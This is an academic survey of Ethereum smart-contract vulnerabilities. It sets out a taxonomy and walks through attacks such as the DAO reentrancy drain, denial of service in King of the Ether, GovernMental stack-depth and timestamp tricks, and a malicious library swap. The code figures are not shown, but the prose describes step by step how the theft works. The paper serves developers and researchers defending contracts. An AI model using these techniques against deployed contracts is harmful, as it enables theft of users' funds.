1 Introduction

The success of Bitcoin, a decentralised cryptographic currency that reached a capitalisation of 10 billions of dollars since its launch in 2009, has raised considerable interest both in industry and in academia. Industries — as well as national governments [39, 46] — are attracted by the “disruptive” potential of the blockchain, the underlying technology of cryptocurrencies. Basically, a blockchain is an append-only data structure maintained by the nodes of a peer-to-peer network. Cryptocurrencies use the blockchain as a public ledger where they record all the transfers of currency, in order to avoid double-spending of money. Although Bitcoin is the most paradigmatic application of blockchain technologies, there are other applications far beyond cryptocurrencies: e.g., financial products and services, tracking the ownership of various kinds of properties, digital identity verification, voting, etc. A hot topic is how to leverage on blockchain technologies to implement smart contracts [25, 45]. Very abstractly, smart contracts are agreements between mutually distrusting participants, which are automatically enforced by the consensus mechanism of the blockchain — without relying on a trusted authority.

The most prominent framework for smart contracts is Ethereum [23], whose capitalisation has reached 1 billion dollars since its launch in July 2015. In Ethereum, smart contracts are rendered as computer programs, written in a Turing-complete language. The consensus protocol of Ethereum, which specifies how the nodes of the peer-to-peer network extend the blockchain, has the goal of ensuring the correct execution of contracts. One of the key insights of the protocol is that, to append a new block of data to the blockchain, nodes must participate to a lottery, where the probability of winning is proportional to the computational power of the node. An incentive mechanism ensures that, even if a malicious node who wins the lottery tries to append a block with incorrect contract executions, this block will be eventually removed from the blockchain. Despite some criticism about the effectiveness of the consensus protocol [28, 35], recent theoretical studies establish its security whenever the honest nodes control the majority of the computational power of the network [30, 43].

The fact that Ethereum smart contracts are executed correctly is a necessary condition for their effectiveness: otherwise, an adversary could tamper with executions in order e.g. to divert some money from a legit participant to herself. However, the correctness of executions alone is not sufficient to make smart contracts secure. Indeed, several security vulnerabilities in Ethereum smart contracts have been discovered both by hands-on development experience [26], and by static analysis of all the contracts on the Ethereum blockchain [34]. These vulnerabilities have been exploited by some real attacks on Ethereum contracts, causing losses of money. The most successful attack managed to steal \(\sim \$ 60M\) from a contract, but the damage was reverted with a revision of the blockchain.

There are several reasons which make the implementation of smart contracts particularly prone to errors in Ethereum. A significant part of them is caused by a misalignment between the semantics of Solidity, the high-level programming language supported by Ethereum, and the intuition of programmers. Indeed, whilst Solidity looks like a typed Javascript-like language (with exceptions and functions), it implements some of these features in a peculiar way. Furthermore, the language does not introduce constructs to deal with domain-specific aspects, like e.g. the fact that computation steps are recorded on a public blockchain, wherein they can be unpredictably reordered or delayed. Another major cause of the proliferation of insecure smart contracts is that the documentation of known vulnerabilities is scattered through several sources, including the official documentation [6, 13], research papers [15, 26, 34], and also Internet discussion forums [5]. A comprehensive, self-contained and updated survey of vulnerabilities and attacks to Ethereum smart contracts is still lacking.

Contributions. In this paper we provide the first systematic exposition of the security vulnerabilities of Ethereum and of its high-level programming language, Solidity. We organize the causes of vulnerabilities in a taxonomy, whose purpose is twofold: (i) as a reference for developers of smart contracts, to know and avoid common pitfalls; (ii) as a guide for researchers, to foster the development of analysis and verification techniques for smart contracts. For most of the causes of vulnerabilities in the taxonomy, we present an actual attack (often carried on a real contract) which exploits them. All our attacks have been tested on the Ethereum testnet, and their code is available online at co2.unica.it/ethereum.

2 Background on Ethereum Smart Contracts

Ethereum [23] is a decentralized virtual machine, which runs programs — called contracts — upon request of users. Contracts are written in a Turing-complete bytecode language, called EVM bytecode [47]. Roughly, a contract is a set of functions, each one defined by a sequence of bytecode instructions. A remarkable feature of contracts is that they can transfer ether (a cryptocurrency similar to Bitcoin [37]) to/from users and to other contracts.

Users send transactions to the Ethereum network in order to: (i) create new contracts; (ii) invoke functions of a contract; (iii) transfer ether to contracts or to other users. All the transactions are recorded on a public, append-only data structure, called blockchain. The sequence of transactions on the blockchain determines the state of each contract, and the balance of each user.

Since contracts have an economic value, it is crucial to guarantee that their execution is performed correctly. To this purpose, Ethereum does not rely on a trusted central authority: rather, each transaction is processed by a large network of mutually untrusted peers — called miners. Potential conflicts in the execution of contracts (due e.g., to failures or attacks) are resolved through a consensus protocol based on “proof-of-work” puzzles. Ideally, the execution of contracts is correct whenever the adversary does not control the majority of the computational power of the network.

The security of the consensus protocol relies on the assumption that honest miners are rational, i.e. that it is more convenient for a miner to follow the protocol than to try to attack it. To make this assumption hold, miners receive some economic incentives for performing the (time-consuming) computations required by the protocol. Part of these incentives is given by the execution fees paid by users upon each transaction. These fees bound the execution steps of a transaction, so preventing from DoS attacks where users try to overwhelm the network with time-consuming computations.

Programming smart contracts. We illustrate contracts through a small example (AWallet, in Fig. 1), which implements a personal wallet associated to an owner. Rather than programming it directly as EVM bytecode, we use Solidity, a Javascript-like programming language which compiles into EVM bytecodeFootnote 1. Intuitively, the contract can receive ether from other users, and its owner can send (part of) that ether to other users via the function pay. The hashtable outflow records all the addressesFootnote 2 to which it sends money, and associates to each of them the total transferred amount. All the ether received is held by the contract. Its amount is automatically recorded in balance: this is a special variable, which cannot be altered by the programmer.

Fig. 1.
figure 1

A simple wallet contract.

Full size image

Contracts are composed by fields and functions. A user can invoke a function by sending a suitable transaction to the Ethereum nodes. The transaction must include the execution fee (for the miners), and may include a transfer of ether from the caller to the contract. Solidity also features exceptions, but with a peculiar behaviour. When an exception is thrown, it cannot be caught: the execution stops, the fee is lost, and all the side effects — including transfers of ether — are reverted.

The function AWallet at line 5 is a constructor, run only once when the contract is created. The function pay sends amount wei (\(1\, \textit{wei} = 10^{-18} \textit{ether} \)) from the contract to recipient. At line 8 the contract throws an exception if the caller (msg.sender) is not the owner, or if some ether (msg.value) is attached to the invocation and transferred to the contract. Since exceptions revert side effects, this ether is returned to the caller (who however loses the fee). At line 9, the call terminates if the required amount of ether is unavailable; in this case, there is no need to revert the state with an exception. At line 10, the contract updates the outflow registry, before transferring the ether to the recipient. The function send used at line 11 to this purpose presents some quirks, e.g. it may fail if the recipient is a contract (see Sect. 3).

Execution fees. Each function invocation is ideally executed by all miners in the Ethereum network. Miners are incentivized to do such work by the execution fees paid by the users which invoke functions. Besides being used as incentives, execution fees also protect against denial-of-service attacks, where an adversary tries to slow down the network by requesting time-consuming computations.

Execution fees are defined in terms of gas and gas price, and their product represents the cost paid by the user to execute code. More specifically, the transaction which triggers the invocation specifies the gas limit up to which the user is willing to pay, and the price per unit of gas. Roughly, the higher is the price per unit, the higher is the chance that miners will choose to execute the transaction. Each EVM operation consumes a certain amount of gas [47], and the overall fee depends on the whole sequence of operations executed by miners.

Miners execute a transaction until its normal termination, unless an exception is thrown. If the transaction terminates successfully, the remaining gas is returned to the caller, otherwise all the gas allocated for the transaction is lost. If a computation consumes all the allocated gas, it terminates with an “out-of-gas” exception — hence the caller loses all the gasFootnote 3. An adversary wishing to attempt a denial-of-service attack (e.g. by invoking a time-consuming function) should allocate a large amount of gas, and pay the corresponding ether. If the adversary chooses a gas price consistently with the market, miners will execute the transaction, but the attack will be too expensive; otherwise, if the price is too low, miners will not execute the transaction.

The mining process. Miners group the transactions sent by users into blocks, and try to append them to the blockchain in order to collect the associated fees. Only those blocks which satisfy a given set of conditions, which altogether are called validity, can be appended to the blockchain. In particular, one of these conditions requires to solve a moderately hard “proof-of-work” puzzle, which depends on the previous block and on the transactions in the new block. The difficulty of the puzzle is dynamically updated so that the average mining rate is 1 block every 12 s.

When a miner solves the puzzle and broadcasts a new valid block to the network, the other miners discard their attempts, update their local copy of the blockchain by appending the new block, and start “mining” on top of it. The miner who solves the puzzle is rewarded with the fees of the transactions in the new block (and also with some fresh ether).

It may happen that two (or more) miners solve the puzzle almost simultaneously. In this case, the blockchain forks in two (or more) branches, with the new blocks pointing to the same parent block. The consensus protocol prescribes miners to extend the longest branch. Hence, even though both branches can transiently continue to exist, eventually the fork will be resolved for the longest branch. Only the transactions therein will be part of the blockchain, while those in the shortest branch will be discarded. The reward mechanism, inspired to the GHOST protocol [43], assigns the full fees to the miners of the blocks in the longest branch, and a portion of the fees to those who mined the roots of the discarded branchFootnote 4. E.g., assume that blocks A and B have the same parent, and that a miner appends a new block on top of A. The miner can donate part of its reward to the miner of the “uncle block” B, in order to increase the weight of its branch in the fork resolution processFootnote 5.

Compiling Solidity into EVM bytecode. Although contracts are rendered as sets of functions in Solidity, the EVM bytecode has no support for functions. Therefore, the Solidity compiler translates contracts so that their first part implements a function dispatching mechanism. More specifically, each function is uniquely identified by a signature, based on its name and type parameters. Upon function invocation, this signature is passed as input to the called contract: if it matches some function, the execution jumps to the corresponding code, otherwise it jumps to the fallback function. This is a special function with no name and no arguments, which can be arbitrarily programmed. The fallback function is executed also when the contract is passed an empty signature: this happens e.g. when sending ether to the contract.

Solidity features three different constructs to invoke a contract from another contract, which also allow to send ether. All these constructs are compiled using the same bytecode instruction. The result is that the same behaviour can be implemented in several ways, with some subtle differences detailed in Sect. 3.

3 A Taxonomy of Vulnerabilities in Smart Contracts

In this section we systematize the security vulnerabilities of Ethereum smart contracts. We group the vulnerabilities in three classes, according to the level where they are introduced (Solidity, EVM bytecode, or blockchain). Further, we illustrate each vulnerability at the Solidity level through a small piece of code. All these vulnerabilities can be (actually, most of them have been) exploited to carry on attacks which e.g. steal money from contracts. The table below summarizes our taxonomy, with links to the attacks illustrated in Sect. 4.

Level

Cause of vulnerability

Attacks

Solidity

Call to the unknown

4.1

Gasless send

4.2

Exception disorders

4.2, 4.5

Type casts

—

Reentrancy

4.1

Keeping secrets

4.4

EVM

Immutable bugs

4.3, 4.5

Ether lost in trasfer

—

Stack size limit

4.5

Blockchain

Unpredictable state

4.5, 4.6

Generating randomness

—

Time constraints

4.5

Call to the unknown. Some of the primitives used in Solidity to invoke functions and to transfer ether may have the side effect of invoking the fallback function of the callee/recipient. We illustrate them below.

  • call invokes a function (of another contract, or of itself), and transfers ether to the callee. E.g., one can invoke the function ping of contract c as follows:

    figure a

    where the called function is identified by the first 4 bytes of its hashed signature, amount determines how many wei have to be transferred to c, and n is the actual parameter of ping. Remarkably, if a function with the given signature does not exist at address c, then the fallback function of c is executed, insteadFootnote 6.

  • send is used to transfer ether from the running contract to some recipient r, as in r.send(amount). After the ether has been transferred, send executes the recipient’s fallback. Others vulnerabilities related to send are detailed in “exception disorders” and “gasless send”.

  • delegatecall is quite similar to call, with the difference that the invocation of the called function is run in the caller environment. For instance, executing c.delegatecall(bytes4(sha3("ping(uint256)")),n), if ping contains the variable this, it refers to the caller’s address and not to c, and in case of ether transfer to some recipient d — via d.send(amount) — the ether is taken from the caller balance (see e.g. the attack in Sect. 4.6)Footnote 7.

  • besides the primitives above, one can also use a direct call as follows:

    figure b

    The first line declares the interface of Alice’s contract, and the last two lines contain Bob’s contract: therein, pong invokes Alice’s ping via a direct call. Now, if the programmer mistypes the interface of contract Alice (e.g., by declaring the type of the parameter as int, instead of uint), and Alice has no function with that signature, then the call to ping actually results in a call to Alice’s fallback function.

The fallback function is not the only piece of code that can be unexpectedly executed: other cases are reported in the vulnerabilities “type cast” at page 9 and “unpredictable state” at page 11.

Exception disorder. In Solidity there are several situations where an exception may be raised, e.g. if (i) the execution runs out of gas; (ii) the call stack reaches its limit; (iii) the command throw is executed. However, Solidity is not uniform in the way it handles exceptions: there are two different behaviours, which depend on how contracts call each others. For instance, consider:

figure c

Assume that some user invokes Bob’s pong, and that Alice’s ping throws an exception. Then, the execution stops, and the side effects of the whole transaction are reverted. Therefore, the field x contains 0 after the transaction. Now, assume instead that Bob invokes ping via a call. In this case, only the side effects of that invocation are reverted, the call returns false, and the execution continues. Therefore, x contains 2 after the transaction. More in general, assuming that there is a chain of nested calls, the thrown exception is handled as follows:

  • if every element of the chain is a direct call, then the execution stops, and every side effect (including transfers of ether) is reverted. Further, all the gas allocated by the originating transaction is consumed;

  • if at least one element of the chain is a call (the cases delegatecall and send are similar), then the exception is propagated along the chain, reverting all the side effects in the called contracts, until it reaches a call. From that point the execution is resumed, with the call returning falseFootnote 8. Further, all the gas allocated by the call is consumed.

To set an upper bound to the use of gas in a call, one can write:

figure d

In case of exceptions, if no bound is specified then all the available gas is lost; otherwise, only g gas is lost.

The irregularity in how exceptions are handled may affect the security of contracts. For instance, believing that a transfer of ether was successful just because there were no exceptions may lead to attacks (see e.g. Sects. 4.2 and 4.5). The quantitative analysis in [9] shows that \(\sim 28\%\) of contracts do not control the return value of call/send invocations (note however that the absence of these checks does not necessarily imply a vulnerability).

Gasless send. When using the function send to transfer ether to a contract, it is possible to incur in an out-of-gas exception. This may be quite unexpected by programmers, because transferring ether is not generally associated to executing code. The reason behind this exception is subtle. First, note that c.send(amount) is compiled in the same way of a call with empty signature, but the actual number of gas units available to the callee is always bound by 2300Footnote 9. Now, since the call has no signature, it will invoke the callee’s fallback function. However, 2300 units of gas only allow to execute a limited set of bytecode instructions, e.g. those which do not alter the state of the contract. In any other case, the call will end up in an out-of-gas exception.

We illustrate the behaviour of send through a small example, involving a contract C who sends ether through function pay, and two recipients D1, D2.

figure e

There are three possible cases to execute pay:

  • \(\mathtt{{n}}\ne 0\) and \(\mathtt{{d}}=\mathtt{{D1}}\). The send in C fails with an out-of-gas exception, because 2300 units of gas are not enough to execute the state-updating D1’s fallback.

  • \(\mathtt{{n}}\ne 0\) and \(\mathtt{{d}}=\mathtt{{D2}}\). The send in C succeeds, because 2300 units of gas are enough to execute the empty fallback of D2.

  • \(\mathtt{{n}}=0\) and \(\mathtt{{d}} \in \{\mathtt{{D1}},\mathtt{{D2}}\}\). For compiler versions \(< 0.4.0\), the send in C fails with an out-of-gas exception, since the gas is not enough to execute any fallback, not even an empty one. For compiler versions \(\ge 0.4.0\), the behaviour is the same as in one of the previous two cases, according whether \(\mathtt{{d}}=\mathtt{{D1}}\) or \(\mathtt{{d}}=\mathtt{{D2}}\).

Summing up, sending ether via send succeeds in two cases: when the recipient is a contract with an unexpensive fallback, or when the recipient is a user.

Type casts. The Solidity compiler can detect some type errors (e.g., assigning an integer value to a variable of type string). Types are also used in direct calls: the caller must declare the callee’s interface, and cast to it the callee’s address when performing the call. For instance, consider again the direct call to ping:

figure f

The signature of pong informs the compiler that c adheres to interface Alice. However, the compiler only checks whether the interface declares the function ping, while it does not check that: (i) c is the address of contract Alice; (ii) the interface declared by Bob matches Alice’s actual interface. A similar situation happens with explicit type casts, e.g. Alice(c).ping(), where c is an address.

The fact that a contract can type-check may deceive programmers, making them believe that any error in checks (i) and (ii) is detected. Furthermore, even in the presence of such errors, the contract will not throw exceptions at run-time. Indeed, direct calls are compiled in the same EVM bytecode instruction used to compile call (except for the management of exceptions). Hence, in case of type mismatch, three different things may happen at run-time:

  • if c is not a contract address, the call returns without executing any codeFootnote 10;

  • if c is the address of any contract having a function with the same signature as Alice’s ping, then that function is executed.

  • if c is a contract with no function matching the signature of Alice’s ping, then c’s fallback is executed.

In all cases, no exception is thrown, and the caller is unaware of the error.

Reentrancy. The atomicity and sequentiality of transactions may induce programmers to believe that, when a non-recursive function is invoked, it cannot be re-entered before its termination. However, this is not always the case, because the fallback mechanism may allow an attacker to re-enter the caller function. This may result in unexpected behaviours, and possibly also in loops of invocations which eventually consume all the gas. For instance, assume that contract Bob is already on the blockchain, when the attacker publishes Mallory contract:

figure g

The function ping in Bob is meant to send exactly \(2 \textit{wei} \) to some address c, using a call with empty signature and no gas limits. Now, assume that ping has been invoked with Mallory’s address. As mentioned before, the call has the side effect of invoking Mallory’s fallback, which in turn invokes again ping. Since variable sent has not already been set to true, Bob sends again \(2 \textit{wei} \) to Mallory, and invokes again her fallback, thus starting a loop. This loop ends when the execution eventually goes out-of-gas, or when the stack limit is reached (see the “stack size limit” vulnerability at page 11), or when Bob has been drained off all his ether. In all cases an exception is thrown: however, since call does not propagate the exception, only the effects of the last call are reverted, leaving all the previous transfers of ether valid.

This vulnerability resides in the fact that function ping is not reentrant, i.e. it may misbehave if invoked before its termination. Remarkably, the “DAO Attack”, which caused a huge ether loss in June 2016, exploited this vulnerability (see Sect. 4.1 for more details on the attack).

Keeping secrets. Fields in contracts can be public, i.e. directly readable by everyone, or private, i.e. not directly readable by other users/contracts. Still, declaring a field as private does not guarantee its secrecy. This is because, to set the value of a field, users must send a suitable transaction to miners, who will then publish it on the blockchain. Since the blockchain is public, everyone can inspect the contents of the transaction, and infer the new value of the field.

Many contracts, e.g. those implementing multi-player games, require that some fields are kept secret for a while: for instance, if a field stores the next move of a player, revealing it to the other players may advantage them in choosing their next move. In such cases, to ensure that a field remains secret until a certain event occurs, the contract has to exploit suitable cryptographic techniques, like e.g. timed commitments [16, 20] (see Sect. 4.4).

Immutable bugs. Once a contract is published on the blockchain, it can no longer be altered. Hence, users can trust that if the contract implements their intended functionality, then its runtime behaviour will be the expected one as well, since this is ensured by the consensus protocol. The drawback is that if a contract contains a bug, there is no direct way to patch it. So, programmers have to anticipate ways to alter or terminate a contract in its implementation [36] — although it is debatable the coherency of this with the principles of EthereumFootnote 11.

The immutability of bugs has been exploited in various attacks, e.g. to steal ether, or to make it unredeemable by any user (see Sects. 4.3 and 4.5). In all these attacks, there was no possibility of recovery. The only exception was the recovery from the “DAO attack”. The countermeasure was an hard-fork of the blockchain, which basically nullified the effects of the transactions involved in the attack. This solution was not agreed by the whole Ethereum community, as it contrasted with the “code is law” principle claimed so far. As a consequence, part of the miners refused to fork, and created an alternative blockchain [3].

Ether lost in transfer. When sending ether, one has to specify the recipient address, which takes the form of a sequence of 160 bits. However, many of these addresses are orphan, i.e. they are not associated to any user or contract. If some ether is sent to an orphan address, it is lost forever (note that there is no way to detect whether an address is orphan). Since lost ether cannot be recovered, programmers have to manually ensure the correctness of the recipient addresses.

Stack size limit. Each time a contract invokes another contract (or even itself via this.f()) the call stack associated with the transaction grows by one frame. The call stack is bounded to 1024 frames: when this limit is reached, a further invocation throws an exception. Until October 18th 2016, it was possible to exploit this fact to carry on an attack as follows. An adversary generates an almost-full call stack (via a sequence of nested calls), and then he invokes the victim’s function, which will fail upon a further invocation. If the exception is not properly handled by the victim’s contract, the adversary could manage to succeed in his attack. This cause of vulnerability has been addressed by an hard-fork of the Ethereum blockchain. The fork changed the cost of several EVM instructions, and redefined the way to compute the gas consumption of call and delegatecall. After the fork, a caller can allocate at most 63/64 of its gas: since, currently, the gas limit per block is \(\sim \)4,7 M units, this implies that the maximum reachable depth of the call stack is always less than 1024.

Unpredictable state. The state of a contract is determined by the value of its fields and balance. In general, when a user sends a transaction to the network in order to invoke some contract, he cannot be sure that the transaction will be run in the same state the contract was at the time of sending that transaction. This may happen because, in the meanwhile, other transactions have changed the contract state. Even if the user was fast enough to be the first to send a transaction, it is not guaranteed that such transaction will be the first to be run. Indeed, when miners group transactions into blocks, they are not required to preserve any order; they could also choose not to include some transactions.

There is another circumstance where a user may not know the actual state wherein his transaction will be run. This happens in case the blockchain forks (see Sect. 2). Recall that, when two miners discover a new valid block at the same time, the blockchain forks in two branches. Some miners will try to append new blocks on one of the branches, while some others will work on the other one. After some time, though, only the longest branch will be considered part of the blockchain, while the shortest one will be abandoned. Transactions in the shortest branch will then be ignored, because no longer part of the blockchain. Therefore, believing that a contract is in a certain state, could be determinant for a user in order to publish new transactions (e.g., for sending ether to other users). However, later on such state could be reverted, because the transactions that led to it could happen to be in the shortest branch of a fork.

In some cases, not knowing the state where a transaction will be run could give rise to vulnerabilities. E.g., this is the case when invoking contracts that can be dynamically updated. Note indeed that, although the code of a contract cannot be altered once published on the blockchain, with some forethinking it is possible to craft a contract whose components can be updated at his owner’s request. At a later time, the owner can link such contract to a malicious component, which e.g. steals the caller’s ether (see e.g. the attack in Sect. 4.6).

Generating randomness. The execution of EVM bytecode is deterministic: in the absence of misbehaviour, all miners executing a transaction will have the same results. Hence, to simulate non-deterministic choices, many contracts (e.g. lotteries, games, etc.) generate pseudo-random numbers, where the initialization seed is chosen uniquely for all miners.

A common choice is to take for this seed (or for the random number itself) the hash or the timestamp of some block that will appear in the blockchain at a given time in the future. Since all the miners have the same view of the blockchain, at run-time this value will be the same for everyone. Apparently, this is a secure way to generate random numbers, as the content of future blocks is unpredictable. However, since miners control which transactions are put in a block and in which order, a malicious miner could attempt to craft his block so to bias the outcome of the pseudo-random generator. The analysis in [21] on the randomness of the Bitcoin blockchain shows that an attacker, controlling a minority of the mining power of the network, could invest 50 bitcoins to significantly bias the probability distribution of the outcome; more recent research [40] proves that this is also possible with more limited resources.

Alternative solutions to this problem are based on timed commitment protocols [16, 20]. In these protocols, each participant chooses a secret, and then communicates to the others a digest of it, paying a deposit as a guarantee. Later on, participants must either reveal their secrets, or lose their deposits. The pseudo-random number is then computed by combining the secrets of all participants [11, 12]. Also in this case an adversary could bias the outcome by not revealing her secret: however, doing so would result in losing her deposit. The protocol can then set the amount of the deposit so that not revealing the secret is an irrational strategy.

Time constraints. A wide range of applications use time constraints in order to determine which actions are permitted (or mandatory) in the current state. Typically, time constraints are implemented by using block timestamps, which are agreed upon by all the miners. Contracts can retrieve the timestamp in which the block was mined; all the transactions within a block share the same timestamp. This guarantees the coherence with the state of the contract after the execution, but it may also expose a contract to attacks, since the miner who creates the new block can choose the timestamp with a certain degree of arbitrarinessFootnote 12. If a miner holds a stake on a contract, he could gain an advantage by choosing a suitable timestamp for a block he is mining. In Sect. 4.5 we show an attack exploiting this vulnerability.

4 Attacks

We now illustrate some attacks — many of which inspired to real use cases — which exploit the vulnerabilities presented in Sect. 3.

4.1 The DAO Attack

The DAO [14] was a contract implementing a crowd-funding platform, which raised \(\sim \$ 150M\) before being attacked on June 18th, 2016. An attacker managed to put \(\sim \$ 60M\) under her control, until the hard-fork of the blockchain nullified the effects of the transactions involved in the attack.

We now present a simplified version of the DAO, which shares some of the vulnerabilities of the original one. We then show two attacks which exploit themFootnote 13.

figure h

SimpleDAO allows participants to donate ether to fund contracts at their choice. Contracts can then withdraw their funds.

Attack #1. This attack, which is similar to the one used on the actual DAO, allows the adversary to steal all the ether from the SimpleDAO. The first step of the attack is to publish the contract Mallory.

figure i

Then, the adversary donates some ether for Mallory, and invokes Mallory’s fallback. The fallback function invokes withdraw, which transfers the ether to Mallory. Now, the function call used to this purpose has the side effect of invoking Mallory’s fallback again (line 5), which maliciously calls back withdraw. Note that withdraw has been interrupted before it could update the credit field: hence, the check at line 8 succeeds again. Consequently, the DAO sends the credit to Mallory for the second time, and invokes her fallback again, and so on in a loop, until one of the following events occur: (i) the gas is exhausted, or (ii) the call stack is full, or (iii) the balance of DAO becomes zero. With a series of these attacks, the adversary can steal all the ether from the DAO. Note that the adversary can delay the out-of-gas exception by providing more gas in the originating transaction, because the call at line 9 does not specify a gas limit.

Attack #2. Also our second attack allows an adversary to steal all the ether from SimpleDAO, but it only need two calls to the fallback function. The first step is to publish Mallory2, providing it with a small amount of ether (e.g., \(1 \textit{wei} \)). Then, the adversary invokes attack to donate \(1 \textit{wei} \) to herself, and subsequently withdraws it. The function withdraw checks that the user credit is enough, and if so it transfers the ether to Mallory2.

figure j

As in the previous attack, call invokes Mallory2’s fallback, which in turn calls back withdraw. Also in this casewithdraw is interrupted before updating the credit: hence, the check at line 8 succeeds again. Consequently, the DAO sends \(1 \textit{wei} \) to Mallory2 for the second time, and invokes her fallback again. However this time the fallback does nothing, and the nested calls begin to close. The effect is that Mallory2’s credit is updated twice: the first time to zero, and the second one to \((2^{256}-1) \textit{wei} \), because of the underflow. To finalise the attack, Mallory2 invokes getJackpot, which steals all the ether from SimpleDAO, and transfers it to Mallory2’s owner.

Both attacks were possible because SimpleDAO sends the specified amount of ether before decreasing the credit. Overall, the attacks exploit the “call to the unknown”, and “reentrancy” vulnerabilities. The first attack is more effective with a larger investment, while the second one is already rewarding with an investment of just \(1 \textit{wei} \) (the smallest fraction of ether). Note that the second attack works also in a variant of SimpleDAO, which checks the return code of call at line 9 and throws an exception in case it fails.

4.2 King of the Ether Throne

The “King of the Ether Throne” [10] is a game where players compete for acquiring the title of “King of the Ether”. If someone wishes to be the king, he must pay some ether to the current king, plus a small fee to the contract. The prize to be king increases monotonicallyFootnote 14. We discuss a simplified version of the game (with the same vulnerabilities), implemented as the contract KotET:

figure k

Whenever a player sends msg.value ether to the contract, he also triggers the execution of KotET’s fallback. The fallback first checks that the sent ether is enough to buy the title: if not, it throws an exception (reverting the ether transfer); otherwise, the player is accepted as the new king. At this point, a compensation is sent to the dismissing king, and the player is crowned. The difference between msg.value and the compensation is kept by the contract. The owner of KotET can withdraw the ether accumulated in the contract through sweepCommission.

Apparently, the contract may seem honest: in fact, it is not, because not checking the return code of send may result in stealing etherFootnote 15. Indeed, since send is equipped with a few gas (see “gasless send” vulnerability), the send at line 17 will fail if the king’s address is that of a contract with an expensive fallback. In this case, since send does not propagate exceptions (see “exception disorder”), the compensation is kept by the contract.

Now, assume that an honest programmer wants to implement a fair variant of KotET, by replacing send with call at line 6, and by checking its return code:

figure l

This variant is more trustworthy than the previous, but vulnerable to a denial of service attack. To see why, consider an attacker Mallory, whose fallback just throws an exception. The adversary calls unseatKing with the right amount of ether, so that Mallory becomes the new king. At this point, nobody else can get her crown, since every time KotET tries to send the compensation to Mallory, her fallback throws an exception, preventing the coronation to succeed.

4.3 Rubixi

Rubixi [2] is a contract which implements a Ponzi scheme, a fraudulent high-yield investment program where participants gain money from the investments made by newcomers. Further, the contract owner can collect some fees, paid to the contract upon investments. The following attack allows an adversary to steal some ether from the contract, exploiting the “immutable bugs” vulnerability.

At some point during the development of the contract, its name was changed from DynamicPyramid into Rubixi. However, the programmer forgot to accordingly change the name of the constructor, which then became a function invokable by anyone. Hence, after this bug became public, users started to invoke DynamicPyramid in order to become the owner, and so to withdraw the fees.

4.4 Multi-player Games

Consider a contract which implements a simple “odds and evens” game between two players. Each player chooses a number: if the sum is even, the first player wins, otherwise the second one winsFootnote 16.

figure m

The contract records the bets of two players in the field players. Since this field is private, other contracts cannot directly read it. To join the game, each player must transfer \(1 \textit{ether} \) when invoking the function play. If the amount transferred is different, it is sent back to the player by throwing an exception (line 9). Once the second player has joined the game, the contract executes andTheWinnerIs to send \(1.8 \textit{ether} \) to the winner. The remaining \(0.2 \textit{ether} \) are kept by the contract, and they can be collected by the owner via getProfit.

An adversary can carry on an attack which always allows her to win a game. To do that, the adversary impersonates the second player, and waits that the first player makes his bet. Now, although the field players is private, the adversary can infer the first player’s bet, by inspecting the blockchain transaction where he joined the game. Then, the adversary can win the game by invoking play with a suitable betFootnote 17. This attack exploits the “keeping secrets” vulnerability.

4.5 GovernMental

GovernMental [8] is another flawed Ponzi scheme. To join the scheme, a participant must send a certain amount of ether to the contract. If no one joins the scheme for 12 h, the last participant gets all the ether in the contract (except for a fee kept by the owner). The list of participants and their credit are stored in two arrays. When the 12 h are expired, the last participant can claim the money, and the arrays are cleared. However, the command used to clear the arrays had the effect of setting a zero in each position. At a certain point, the array of participants of GovernMental grew so long, that clearing the arrays would have required more gas than the maximum allowed for a single transaction. From that point, any attempt to clear the arrays has failedFootnote 18.

We now present a simplified version of GovernMental, which shares some of the vulnerabilities of the original contract.

figure n

The contract Governmental gathers the investments of players in rounds, and it pays back only a winner per round, i.e. the player which is the last for at least one minute. To join the scheme, a player must invest at least half of the jackpot (line 14), whose amount grows upon each new investment. Anyone can invoke resetInvestment, which pays the jackpot (half of the invested total) to the winner (line 24), and sends the remaining ether to the contract owner. The contract assumes that players are either users or contracts with empty fallback, so not to incur in out-of-gas exceptions during send.

We now show three different attacks to our simplified GovernMental Footnote 19.

Attack #1. This attack exploits the vulnerabilities “exception disorder” and “stack size limit”, and is performed by the contract ownerFootnote 20. His goal is not to pay the winner, so that the ether is kept by the contract, and redeemable by the owner at a later time. To fulfil this goal, the owner has to make the send at line 24 fail. His first step is to publish the following contract:

figure o

Then, the owner calls Mallory’s attack, which starts invoking herself recursively, making the stack grow. When the call stack reaches the depth of 1022, Mallory invokes Governmental’s resetInvestment, which is then executed at stack size 1023. At this point, the send at line 24 fails, because of the call stack limit (the second send fails as well). Since GovernMental does not check the return code of send, the execution proceeds, resetting the contract state (lines 27–29), and starting another round. The balance of the contract increases every time this attack is run, because the legit winner is not paid. To collect the ether, the owner only needs to wait for another round to terminate correctly.

Attack #2. In this case, the attacker is a miner, who also impersonates a player. Being a miner, she can choose not to include in blocks the transactions directed to GovernMental, except for her own, in order to be the last player in the round. Furthermore, she can reorder the transactions, such that her one will appear first: indeed, by playing first and by choosing a suitable amount of ether to invest, she can prevent others players to join the scheme (line 14), to result the last player in the round. This attack exploits the “unpredictable state” vulnerability, since players cannot be sure that, when they publish a transaction to play the invested ether will be enough to make this operation succeed.

Attack #3. Also in this case the attacker is a miner impersonating a player. Assume that the attacker manages to join the scheme. To be the last player in a round for a minute, she can play with the block timestamp. More specifically, the attacker sets the timestamp of the new block so that it is at least one minute later the timestamp of the current block. As discussed along with the “time constraints” vulnerability, there is a tolerance on the choice of the timestamp. If the attacker manages to publish the new block with the delayed timestamp, she will be the last player in the round, and will win the jackpot.

4.6 Dynamic Libraries

We now consider a contract which can dynamically update one of its components, which is a library of operation on sets. Therefore, if a more efficient implementation of these operations is developed, or if a bug is fixed, the contract can use the new version of the library.

figure p

The owner of contract SetProvider can use function updateLibrary to replace the library address with a new one. Any user can obtain the address of the library via getSet. The library Set implements some basic set operations. Libraries are special contracts, which e.g. cannot have mutable fields. When a user declares that an interface is a library, direct calls to any of its functions are done via delegatecall. Arguments tagged as storage are passed by reference.

Assume that Bob is the contract of an honest user of SetProvider. In particular, Bob queries for the library version via getSetVersion Footnote 21:

figure q

Now, assume that the owner of setProvider is also an adversary. She can attack Bob as follows, with the goal of stealing all his ether. In the first step of the attack, the adversary publishes a new library MaliciousSet, and then it invokes the function updateLibrary of SetProvider to make it point to MaliciousSet.

figure r

